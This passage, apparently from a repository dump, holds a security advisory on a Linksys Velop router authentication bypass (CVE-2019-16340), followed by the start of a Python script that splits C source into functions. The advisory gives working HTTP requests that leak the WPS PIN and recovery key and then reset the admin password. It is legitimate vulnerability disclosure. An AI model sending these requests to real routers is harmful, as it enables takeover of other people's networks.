Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.\r\nThere are three categories from their official site: WHW0303, WHW0302, WHW0301.\r\nThe differences between these three are the pack count: 1, 2 or 3. The system is the same.\r\nVulnerability There are many information leak problems; one of them is through /sysinfo_json.\" />\r\n<meta property=\"og:type\" content=\"article\" />\r\n<meta property=\"og:url\" content=\"https://starlabs.sg/advisories/19/19-16340/\" /><meta property=\"og:image\" content=\"https://starlabs.sg/logo-white.png\"/><meta property=\"article:section\" content=\"advisories\" />\r\n<meta property=\"article:published_time\" content=\"2019-02-19T00:00:00&#43;00:00\" />\r\n<meta property=\"article:modified_time\" content=\"2019-02-19T00:00:00&#43;00:00\" /><meta property=\"og:site_name\" content=\"STAR Labs\" />\r\n\r\n<meta name=\"twitter:card\" content=\"summary_large_image\"/>\r\n<meta name=\"twitter:image\" content=\"https://starlabs.sg/logo-white.png\"/>\r\n\r\n<meta name=\"twitter:title\" content=\"(CVE-2019-16340) Linksys Velop Authentication Bypass\"/>\r\n<meta name=\"twitter:description\" content=\"CVE: CVE-2019-16340\r\nTested Versions:\r\n Linksys Velop 1.1.2.185309  Product URL(s): https://www.linksys.com/us/velop/\r\nVelop is a WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users to enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.\r\nThere are three categories from their official site: WHW0303, WHW0302, WHW0301.\r\nThe differences between these three are the pack count: 1, 2 or 3. The system is the same.\r\nVulnerability There are many information leak problems; one of them is through /sysinfo_json.\"/>\r\n\r\n\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BreadcrumbList\",\r\n  \"itemListElement\": [\r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  1 ,\r\n      \"name\": \"Advisories\",\r\n      \"item\": \"https://starlabs.sg/advisories/\"\r\n    }, \r\n    {\r\n      \"@type\": \"ListItem\",\r\n      \"position\":  2 ,\r\n      \"name\": \"(CVE-2019-16340) Linksys Velop Authentication Bypass\",\r\n      \"item\": \"https://starlabs.sg/advisories/19/19-16340/\"\r\n    }\r\n  ]\r\n}\r\n</script>\r\n<script type=\"application/ld+json\">\r\n{\r\n  \"@context\": \"https://schema.org\",\r\n  \"@type\": \"BlogPosting\",\r\n  \"headline\": \"(CVE-2019-16340) Linksys Velop Authentication Bypass\",\r\n  \"name\": \"(CVE-2019-16340) Linksys Velop Authentication Bypass\",\r\n  \"description\": \"CVE: CVE-2019-16340\\nTested Versions:\\n Linksys Velop 1.1.2.185309  Product URL(s): https://www.linksys.com/us/velop/\\nVelop is a WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users to enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.\\nThere are three categories from their official site: WHW0303, WHW0302, WHW0301.\\nThe differences between these three are the pack count: 1, 2 or 3. The system is the same.\\nVulnerability There are many information leak problems; one of them is through /sysinfo_json.\",\r\n  \"keywords\": [\r\n    \r\n  ],\r\n  \"articleBody\": \"CVE: CVE-2019-16340\\nTested Versions:\\n Linksys Velop 1.1.2.185309  Product URL(s): https://www.linksys.com/us/velop/\\nVelop is a WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users to enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.\\nThere are three categories from their official site: WHW0303, WHW0302, WHW0301.\\nThe differences between these three are the pack count: 1, 2 or 3. The system is the same.\\nVulnerability There are many information leak problems; one of them is through /sysinfo_json.cgi, requesting this URL will leak sensitive information and may lead to authentication bypass.\\nWe can get some helpful information from the PoC below:\\nGET /sysinfo_json.cgi HTTP/1.1 Host: 10.158.1.1 Accept: application/json; charset=UTF-8 Expires: Fri, 10 Oct 2015 14:19:41 GMT Accept-Encoding: gzip, deflate Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9 Cache-Control: no-cache Content-Type: application/json; charset=UTF-8 User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00) Connection: close Response:\\nHTTP/1.1 200 OK Connection: close CONTENT-LANGUAGE: en Date: Thu, 11 Oct 2012 11:09:15 GMT Server: lighttpd/1.4.39 Content-Length: 94710 siSections=\\\"MfgData,BootData,Syscfg,Sysevent,Messages,Dmesg,Ps,MemoryInfo,CpuInfo,WifiBasicInfo,WifiRadioInfo,WifiClientInfo,WifiPoorClientInfo,WifiLegacyClientInfo,WifiAllAPInfo,WifiSameAPInfo,WifiAllCAInfo,WifiMyCAInfo,IPInfo,PingInfo,Conntrack,ConntrackTotals,ConntrackAvg,Thrulay\\\"; var MfgData = { \\\"title\\\": \\\"Manufacturer Data\\\", \\\"description\\\": \\\"This is used to manufacturer unit and in SKU API\\\", \\\"timestamp\\\": \\\"16:01:02.12/31/69\\\", \\\"data\\\": [ { ....... \\\"wps_pin\\\": \\\"wps_device_pin = 58163597\\\", ....... \\\"device_recovery_key\\\": \\\"84667\\\", ....... } ] }; ...... The most important value we can get is WPS PIN and Device Recovery Key. For the WPS PIN, we can use it to connect to the Wi-Fi even if the Wi-Fi password is changed when WPS is enabled. A recovery key can be used to reset the admin password. We may construct the following request to change the admin password:\\nPOST /JNAP/ HTTP/1.1 Host: 192.168.1.1 Accept: application/json; charset=UTF-8 Expires: Fri, 10 Oct 2015 14:19:41 GMT Accept-Encoding: gzip, deflate Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9 Cache-Control: no-cache Content-Type: application/json; charset=UTF-8 Content-Length: 48 User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00) Connection: close X-JNAP-Action: http://linksys.com/jnap/nodes/setup/SetAdminPassword {\\\"resetCode\\\":\\\"84667\\\",\\\"adminPassword\\\":\\\"test1234\\\"} By sending this request to the router, we can successfully change the administration password to test1234.\\nThe crucial part of this vulnerability is that we can request resources by JNAP protocol, but we can also craft an HTTP request. The server doesn’t restrict proper resource, which leads to a sensitive information leak.\\nA proper request should with X-JNAP-Authorization header like below:\\nPOST /JNAP/ HTTP/1.1 Host: 10.158.1.1 Accept: application/json; charset=UTF-8 Expires: Fri, 10 Oct 2015 14:19:41 GMT X-JNAP-Authorization: Basic YWRtaW46YWRtaW4= Accept-Encoding: gzip, deflate Accept-Language: zh-Hans-CN;q=1, en-CN;q=0.9 Cache-Control: no-cache Content-Type: application/json; charset=UTF-8 Content-Length: 178 User-Agent: Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00) Connection: close X-JNAP-Action: http://linksys.com/jnap/core/Transaction [{\\\"request\\\":{\\\"sinceRevision\\\":0},\\\"action\\\":\\\"http:\\\\/\\\\/linksys.com\\\\/jnap\\\\/devicelist\\\\/GetDevices3\\\"},{\\\"request\\\":{},\\\"action\\\":\\\"http:\\\\/\\\\/linksys.com\\\\/jnap\\\\/router\\\\/GetDHCPClientLeases\\\"}] We highly recommend that end users to disallow request to /sysinfo_json.cgi, or check whether there is a correct authorization header in HTTP request.\\nTimeline:  2019-06-22 Vendor disclosure 2019-02-26 Vendor acknowledged the problem and reproduced it 2019-05-31 We asked vendor if there are any updates. No response 2019-06-06 We asked vendor if there are any updates 2019-06-06 Vendor replied “Apologies for the delay in response; the engineering team informs me that a firmware release for Velop will be released later this month. Would you like a preview of this firmware to confirm our fix?” 2019-06-06 We replied No 2019-07-26 Vendor replied “We are starting a limited rollout of the release starting tonight and if all goes well, the full release will be opened up in the first week of August. Thank you!” 2019-08-21 We asked vendor if there are any updates 2019-08-23 Vendor replied as “We have finally released a fix to address this issue. https://www.linksys.com/us/support-article?articleNum=207568. We have not applied for a CVE and do not have any plans to do so. Thank you!” 2019-08-26 We asked if we could apply a CVE for this issue 2019-08-27 Vendor replied:we have no objections if you’d like to file for a CVE.  \",\r\n  \"wordCount\" : \"591\",\r\n  \"inLanguage\": \"en\",\r\n  \"datePublished\": \"2019-02-19T00:00:00Z\",\r\n  \"dateModified\": \"2019-02-19T00:00:00Z\",\r\n  \"author\":{\r\n    \"@type\": \"Person\",\r\n    \"name\": \"Shi Ji (@Puzzorsj)\"\r\n  },\r\n  \"mainEntityOfPage\": {\r\n    \"@type\": \"WebPage\",\r\n    \"@id\": \"https://starlabs.sg/advisories/19/19-16340/\"\r\n  },\r\n  \"publisher\": {\r\n    \"@type\": \"Organization\",\r\n    \"name\": \"STAR Labs\",\r\n    \"logo\": {\r\n      \"@type\": \"ImageObject\",\r\n      \"url\": \"https://starlabs.sg/logo-white.png\"\r\n    }\r\n  }\r\n}\r\n</script>\r\n</head>\r\n\r\n<body class=\" dark\" id=\"top\">\r\n\r\n<header class=\"header\">\r\n    <nav class=\"nav\">\r\n        <div class=\"logo\">\r\n            <a href=\"https://starlabs.sg/\" accesskey=\"h\" title=\"  (Alt + H)\">\r\n                <img src=\"https://starlabs.sg/logo-white.png\" alt=\"logo\" aria-label=\"logo\"\r\n                    height=\"35\"> </a>\r\n            <span class=\"logo-switches\">\r\n            </span>\r\n        </div>\r\n        <ul id=\"menu\">\r\n            <li>\r\n                <a href=\"https://starlabs.sg/\" title=\"Home\">\r\n                    <span>Home</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/about/\" title=\"About\">\r\n                    <span>About</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/advisories/\" title=\"Advisories\">\r\n                    <span>Advisories</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/blog/\" title=\"Blog\">\r\n                    <span>Blog</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/achievements/\" title=\"Achievements\">\r\n                    <span>Achievements</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/publications/\" title=\"Publications\">\r\n                    <span>Publications</span>\r\n                </a>\r\n            </li>\r\n            <li>\r\n                <a href=\"https://starlabs.sg/search/\" title=\"Search (Alt &#43; /)\" accesskey=/>\r\n                    <span>Search</span>\r\n                </a>\r\n            </li>\r\n        </ul>\r\n    </nav>\r\n</header>\r\n<main class=\"main\">\r\n\r\n<article class=\"post-single\">\r\n  <header class=\"post-header\">\r\n    <div class=\"breadcrumbs\"><a href=\"https://starlabs.sg/\">Home</a>&nbsp;»&nbsp;<a href=\"https://starlabs.sg/advisories/\">Advisories</a></div>\r\n    <h1 class=\"post-title\">\r\n      (CVE-2019-16340) Linksys Velop Authentication Bypass\r\n    </h1>\r\n    <div class=\"post-meta\"><span title='2019-02-19 00:00:00 +0000 UTC'>February 19, 2019</span>&nbsp;·&nbsp;3 min&nbsp;·&nbsp;Shi Ji (@Puzzorsj)\r\n\r\n</div>\r\n  </header> <div class=\"toc\">\r\n    <details >\r\n        <summary accesskey=\"c\" title=\"(Alt + C)\">\r\n            <span class=\"details\">Table of Contents</span>\r\n        </summary>\r\n\r\n        <div class=\"inner\"><ul>\r\n                <li>\r\n                    <a href=\"#vulnerability\" aria-label=\"Vulnerability\">Vulnerability</a></li>\r\n                <li>\r\n                    <a href=\"#timeline\" aria-label=\"Timeline:\">Timeline:</a>\r\n                </li>\r\n            </ul>\r\n        </div>\r\n    </details>\r\n</div>\r\n\r\n  <div class=\"post-content\"><p><strong>CVE</strong>: CVE-2019-16340</p>\r\n<p><strong>Tested Versions</strong>:</p>\r\n<ul>\r\n<li>Linksys Velop 1.1.2.185309</li>\r\n</ul>\r\n<p><strong>Product URL(s)</strong>: <a href=\"https://www.linksys.com/us/velop/\">https://www.linksys.com/us/velop/</a></p>\r\n<p>Velop is a WHOLE HOMEMESH Wi-Fi system from LINKSYS. It allows users to enjoy fast, nonstop Wi-Fi everywhere with Velop’s modular easy-to-use Wi-Fi Mesh system.</p>\r\n<p>There are three categories from their <a href=\"https://www.linksys.com/us/c/whole-home-mesh-wifi/\">official site</a>: WHW0303, WHW0302, WHW0301.</p>\r\n<p>The differences between these three are the pack count: 1, 2 or 3. The system is the same.</p>\r\n<h1 id=\"vulnerability\">Vulnerability<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#vulnerability\">#</a></h1>\r\n<p>There are many information leak problems; one of them is through <strong><code>/sysinfo_json.cgi</code></strong>, requesting this URL will leak sensitive information and may lead to authentication bypass.</p>\r\n<p>We can get some helpful information from the PoC below:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-http\" data-lang=\"http\"><span class=\"line\"><span class=\"cl\"><span class=\"nf\">GET</span> <span class=\"nn\">/sysinfo_json.cgi</span> <span class=\"kr\">HTTP</span><span class=\"o\">/</span><span class=\"m\">1.1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Host</span><span class=\"o\">:</span> <span class=\"l\">10.158.1.1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept</span><span class=\"o\">:</span> <span class=\"l\">application/json; charset=UTF-8</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Expires</span><span class=\"o\">:</span> <span class=\"l\">Fri, 10 Oct 2015 14:19:41 GMT</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept-Encoding</span><span class=\"o\">:</span> <span class=\"l\">gzip, deflate</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept-Language</span><span class=\"o\">:</span> <span class=\"l\">zh-Hans-CN;q=1, en-CN;q=0.9</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Cache-Control</span><span class=\"o\">:</span> <span class=\"l\">no-cache</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Content-Type</span><span class=\"o\">:</span> <span class=\"l\">application/json; charset=UTF-8</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">User-Agent</span><span class=\"o\">:</span> <span class=\"l\">Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Connection</span><span class=\"o\">:</span> <span class=\"l\">close</span>\r\n</span></span></code></pre></div><p>Response:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-http\" data-lang=\"http\"><span class=\"line\"><span class=\"cl\"><span class=\"kr\">HTTP</span><span class=\"o\">/</span><span class=\"m\">1.1</span> <span class=\"m\">200</span> <span class=\"ne\">OK</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Connection</span><span class=\"o\">:</span> <span class=\"l\">close</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">CONTENT-LANGUAGE</span><span class=\"o\">:</span> <span class=\"l\">en</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Date</span><span class=\"o\">:</span> <span class=\"l\">Thu, 11 Oct 2012 11:09:15 GMT</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Server</span><span class=\"o\">:</span> <span class=\"l\">lighttpd/1.4.39</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Content-Length</span><span class=\"o\">:</span> <span class=\"l\">94710</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">siSections=&#34;MfgData,BootData,Syscfg,Sysevent,Messages,Dmesg,Ps,MemoryInfo,CpuInfo,WifiBasicInfo,WifiRadioInfo,WifiClientInfo,WifiPoorClientInfo,WifiLegacyClientInfo,WifiAllAPInfo,WifiSameAPInfo,WifiAllCAInfo,WifiMyCAInfo,IPInfo,PingInfo,Conntrack,ConntrackTotals,ConntrackAvg,Thrulay&#34;;\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">var MfgData = {\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\"> &#34;title&#34;: &#34;Manufacturer Data&#34;,\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\"> &#34;description&#34;: &#34;This is used to manufacturer unit and in SKU API&#34;,\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\"> &#34;timestamp&#34;: &#34;16:01:02.12/31/69&#34;,\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\"> &#34;data&#34;: [\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">{\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">.......\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\"> &#34;wps_pin&#34;: &#34;wps_device_pin = 58163597&#34;,\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">.......\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">&#34;device_recovery_key&#34;: &#34;84667&#34;,\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">.......\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\"> }\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\"> ]\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">};\r\n</span></span></span><span class=\"line\"><span class=\"cl\"><span class=\"g\">......\r\n</span></span></span></code></pre></div><p>The most important value we can get is WPS PIN and Device Recovery Key. For the WPS PIN, we can use it to connect to the Wi-Fi even if the Wi-Fi password is changed when WPS is enabled. A recovery key can be used to reset the admin password. We may construct the following request to change the admin password:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-http\" data-lang=\"http\"><span class=\"line\"><span class=\"cl\"><span class=\"nf\">POST</span> <span class=\"nn\">/JNAP/</span> <span class=\"kr\">HTTP</span><span class=\"o\">/</span><span class=\"m\">1.1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Host</span><span class=\"o\">:</span> <span class=\"l\">192.168.1.1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept</span><span class=\"o\">:</span> <span class=\"l\">application/json; charset=UTF-8</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Expires</span><span class=\"o\">:</span> <span class=\"l\">Fri, 10 Oct 2015 14:19:41 GMT</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept-Encoding</span><span class=\"o\">:</span> <span class=\"l\">gzip, deflate</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept-Language</span><span class=\"o\">:</span> <span class=\"l\">zh-Hans-CN;q=1, en-CN;q=0.9</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Cache-Control</span><span class=\"o\">:</span> <span class=\"l\">no-cache</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Content-Type</span><span class=\"o\">:</span> <span class=\"l\">application/json; charset=UTF-8</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Content-Length</span><span class=\"o\">:</span> <span class=\"l\">48</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">User-Agent</span><span class=\"o\">:</span> <span class=\"l\">Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Connection</span><span class=\"o\">:</span> <span class=\"l\">close</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">X-JNAP-Action</span><span class=\"o\">:</span> <span class=\"l\">http://linksys.com/jnap/nodes/setup/SetAdminPassword</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">{</span><span class=\"nt\">&#34;resetCode&#34;</span><span class=\"p\">:</span><span class=\"s2\">&#34;84667&#34;</span><span class=\"p\">,</span><span class=\"nt\">&#34;adminPassword&#34;</span><span class=\"p\">:</span><span class=\"s2\">&#34;test1234&#34;</span><span class=\"p\">}</span>\r\n</span></span></code></pre></div><p>By sending this request to the router, we can successfully change the administration password to test1234.</p>\r\n<p>The crucial part of this vulnerability is that we can request resources by JNAP protocol, but we can also craft an HTTP request. The server doesn&rsquo;t restrict proper resource, which leads to a sensitive information leak.</p>\r\n<p>A proper request should with X-JNAP-Authorization header like below:</p>\r\n<div class=\"highlight\"><pre tabindex=\"0\" class=\"chroma\"><code class=\"language-http\" data-lang=\"http\"><span class=\"line\"><span class=\"cl\"><span class=\"nf\">POST</span> <span class=\"nn\">/JNAP/</span> <span class=\"kr\">HTTP</span><span class=\"o\">/</span><span class=\"m\">1.1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Host</span><span class=\"o\">:</span> <span class=\"l\">10.158.1.1</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept</span><span class=\"o\">:</span> <span class=\"l\">application/json; charset=UTF-8</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Expires</span><span class=\"o\">:</span> <span class=\"l\">Fri, 10 Oct 2015 14:19:41 GMT</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">X-JNAP-Authorization</span><span class=\"o\">:</span> <span class=\"l\">Basic YWRtaW46YWRtaW4=</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept-Encoding</span><span class=\"o\">:</span> <span class=\"l\">gzip, deflate</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Accept-Language</span><span class=\"o\">:</span> <span class=\"l\">zh-Hans-CN;q=1, en-CN;q=0.9</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Cache-Control</span><span class=\"o\">:</span> <span class=\"l\">no-cache</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Content-Type</span><span class=\"o\">:</span> <span class=\"l\">application/json; charset=UTF-8</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Content-Length</span><span class=\"o\">:</span> <span class=\"l\">178</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">User-Agent</span><span class=\"o\">:</span> <span class=\"l\">Linksys/2.5.2 (iPhone; iOS 11.2.6; Scale/3.00)</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">Connection</span><span class=\"o\">:</span> <span class=\"l\">close</span>\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"n\">X-JNAP-Action</span><span class=\"o\">:</span> <span class=\"l\">http://linksys.com/jnap/core/Transaction</span>\r\n</span></span><span class=\"line\"><span class=\"cl\">\r\n</span></span><span class=\"line\"><span class=\"cl\"><span class=\"p\">[{</span><span class=\"nt\">&#34;request&#34;</span><span class=\"p\">:{</span><span class=\"nt\">&#34;sinceRevision&#34;</span><span class=\"p\">:</span><span class=\"mi\">0</span><span class=\"p\">},</span><span class=\"nt\">&#34;action&#34;</span><span class=\"p\">:</span><span class=\"s2\">&#34;http:\\/\\/linksys.com\\/jnap\\/devicelist\\/GetDevices3&#34;</span><span class=\"p\">},{</span><span class=\"nt\">&#34;request&#34;</span><span class=\"p\">:{},</span><span class=\"nt\">&#34;action&#34;</span><span class=\"p\">:</span><span class=\"s2\">&#34;http:\\/\\/linksys.com\\/jnap\\/router\\/GetDHCPClientLeases&#34;</span><span class=\"p\">}]</span>\r\n</span></span></code></pre></div><p>We highly recommend that end users to disallow request to <strong><code>/sysinfo_json.cgi</code></strong>, or check whether there is a correct authorization header in HTTP request.</p>\r\n<h1 id=\"timeline\">Timeline:<a hidden class=\"anchor\" aria-hidden=\"true\" href=\"#timeline\">#</a></h1>\r\n<ul>\r\n<li>2019-06-22 Vendor disclosure</li>\r\n<li>2019-02-26 Vendor acknowledged the problem and reproduced it</li>\r\n<li>2019-05-31 We asked vendor if there are any updates. No response</li>\r\n<li>2019-06-06 We asked vendor if there are any updates</li>\r\n<li>2019-06-06 Vendor replied &ldquo;Apologies for the delay in response; the engineering team informs me that a firmware release for Velop will be released later this month. Would you like a preview of this firmware to confirm our fix?&rdquo;</li>\r\n<li>2019-06-06 We replied No</li>\r\n<li>2019-07-26 Vendor replied &ldquo;We are starting a limited rollout of the release starting tonight and if all goes well, the full release will be opened up in the first week of August. Thank you!&rdquo;</li>\r\n<li>2019-08-21 We asked vendor if there are any updates</li>\r\n<li>2019-08-23 Vendor replied as &ldquo;We have finally released a fix to address this issue.   <a href=\"https://www.linksys.com/us/support-article?articleNum=207568\">https://www.linksys.com/us/support-article?articleNum=207568</a>. We have not applied for a CVE and do not have any plans to do so. Thank you!&rdquo;</li>\r\n<li>2019-08-26 We asked if we could apply a CVE for this issue</li>\r\n<li>2019-08-27 Vendor replied:we have no objections if you&rsquo;d like to file for a CVE.</li>\r\n</ul>\r\n\r\n\r\n  </div>\r\n\r\n  <footer class=\"post-footer\">\r\n    <ul class=\"post-tags\">\r\n    </ul>\r\n<nav class=\"paginav\">\r\n  <a class=\"prev\" href=\"https://starlabs.sg/advisories/18/18-20336/\">\r\n    <span class=\"title\">« Prev</span>\r\n    <br>\r\n    <span>(CVE-2018-20336) ASUSWRT Stack Overflow in wanduck.c</span>\r\n  </a>\r\n  <a class=\"next\" href=\"https://starlabs.sg/advisories/19/19-7035/\">\r\n    <span class=\"title\">Next »</span>\r\n    <br>\r\n    <span>(CVE-2019-7035) Acrobat Reader DC 2d.x3d!_LoadGIF() Arbitrary Write in TGIF::PutPixel()</span>\r\n  </a>\r\n</nav>\r\n\r\n  </footer>\r\n</article>\r\n    </main>\r\n    \r\n<footer class=\"footer\">\r\n    <span>&copy; 2024 <a href=\"https://starlabs.sg/\">STAR Labs</a></span>\r\n    <span>\r\n        Powered by\r\n        <a href=\"https://gohugo.io/\" rel=\"noopener noreferrer\" target=\"_blank\">Hugo</a> &\r\n        <a href=\"https://git.io/hugopapermod\" rel=\"noopener\" target=\"_blank\">PaperMod</a>\r\n    </span>\r\n</footer>\r\n<a href=\"#top\" aria-label=\"go to top\" title=\"Go to Top (Alt + G)\" class=\"top-link\" id=\"top-link\" accesskey=\"g\">\r\n    <svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 12 6\" fill=\"currentColor\">\r\n        <path d=\"M12 6H0l6-6z\" />\r\n    </svg>\r\n</a>\r\n\r\n<script>\r\n    let menu = document.getElementById('menu')\r\n    if (menu) {\r\n        menu.scrollLeft = localStorage.getItem(\"menu-scroll-position\");\r\n        menu.onscroll = function () {\r\n            localStorage.setItem(\"menu-scroll-position\", menu.scrollLeft);\r\n        }\r\n    }\r\n\r\n    document.querySelectorAll('a[href^=\"#\"]').forEach(anchor => {\r\n        anchor.addEventListener(\"click\", function (e) {\r\n            e.preventDefault();\r\n            var id = this.getAttribute(\"href\").substr(1);\r\n            if (!window.matchMedia('(prefers-reduced-motion: reduce)').matches) {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView({\r\n                    behavior: \"smooth\"\r\n                });\r\n            } else {\r\n                document.querySelector(`[id='${decodeURIComponent(id)}']`).scrollIntoView();\r\n            }\r\n            if (id === \"top\") {\r\n                history.replaceState(null, null, \" \");\r\n            } else {\r\n                history.pushState(null, null, `#${id}`);\r\n            }\r\n        });\r\n    });\r\n\r\n</script>\r\n<script>\r\n    var mybutton = document.getElementById(\"top-link\");\r\n    window.onscroll = function () {\r\n        if (document.body.scrollTop > 800 || document.documentElement.scrollTop > 800) {\r\n            mybutton.style.visibility = \"visible\";\r\n            mybutton.style.opacity = \"1\";\r\n        } else {\r\n            mybutton.style.visibility = \"hidden\";\r\n            mybutton.style.opacity = \"0\";\r\n        }\r\n    };\r\n\r\n</script>\r\n</body>\r\n\r\n</html>\r\n"
  },
  {
    "path": "task2_source_code/final_version/Splitting_function_C2.py",
    "content": "import os\r\nimport re\r\n\r\n\r\ndef extract_c_functions_with_stack(file_path):\r\n    \"\"\"\r\n    Extract all functions from a C/C++ file using a stack-based approach to ensure complete function bodies.\r\n    :param file_path: Path to the C/C++ file\r\n    :return: A list of all function code blocks\r\n    \"\"\"\r\n    with open(file_path, 'r', encoding='utf-8') as file:\r\n        lines = file.readlines()\r\n\r\n    functions = []\r\n    stack = []\r\n    current_function = []\r\n    inside_function = False\r\n    signature_detected = False\r\n\r\n    for line in lines:\r\n        stripped_line = line.strip()\r\n\r\n        # Detect potential function signature\r\n        if not inside_function and re.match(r\"^[\\w\\s\\*\\&]+[\\w\\*]+\\s*\\([^)]*\\)\\s*\\{?$\", stripped_line):\r\n            signature_detected = True\r\n            inside_function = True\r\n            current_function.append(line)\r\n\r\n        elif inside_function:\r\n            current_function.append(line)\r\n\r\n            # Track opening and closing braces using a stack\r\n            for char in stripped_line:\r\n                if char == \"{\":\r\n                    stack.append(\"{\")\r\n                elif char == \"}\":\r\n                    if stack:\r\n                        stack.pop()\r\n\r\n            # If the stack is empty, the function is complete\r\n            if not stack:\r\n                functions.append(\"\".join(current_function))\r\n                current_function = []\r\n                inside_function = False\r\n                signature_detected = False\r\n\r\n        elif signature_detected:\r\n            # Handle multi-line function signature\r\n            current_function.append(line)\r\n            if \"{\" in stripped_line:\r\n                inside_function = True\r\n                for char in stripped_line:\r\n                    if char == \"{\":\r\n                        stack.append(\"{\")\r\n                    elif char == \"}\":\r\n                        if stack:\r\n                            stack.pop()\r\n\r\n    return functions\r\n\r\n\r\ndef save_functions_to_files(functions, file_name, output_dir):\r\n    \"\"\"\r\n    Save extracted functions to individual txt files.\r\n    :param functions: List of extracted functions\r\n    :param file_name: Original file name (without path)\r\n    :param output_dir: Path to the output directory\r\n    \"\"\"\r\n    if not os.path.exists(output_dir):\r\n        os.makedirs(output_dir)\r\n\r\n    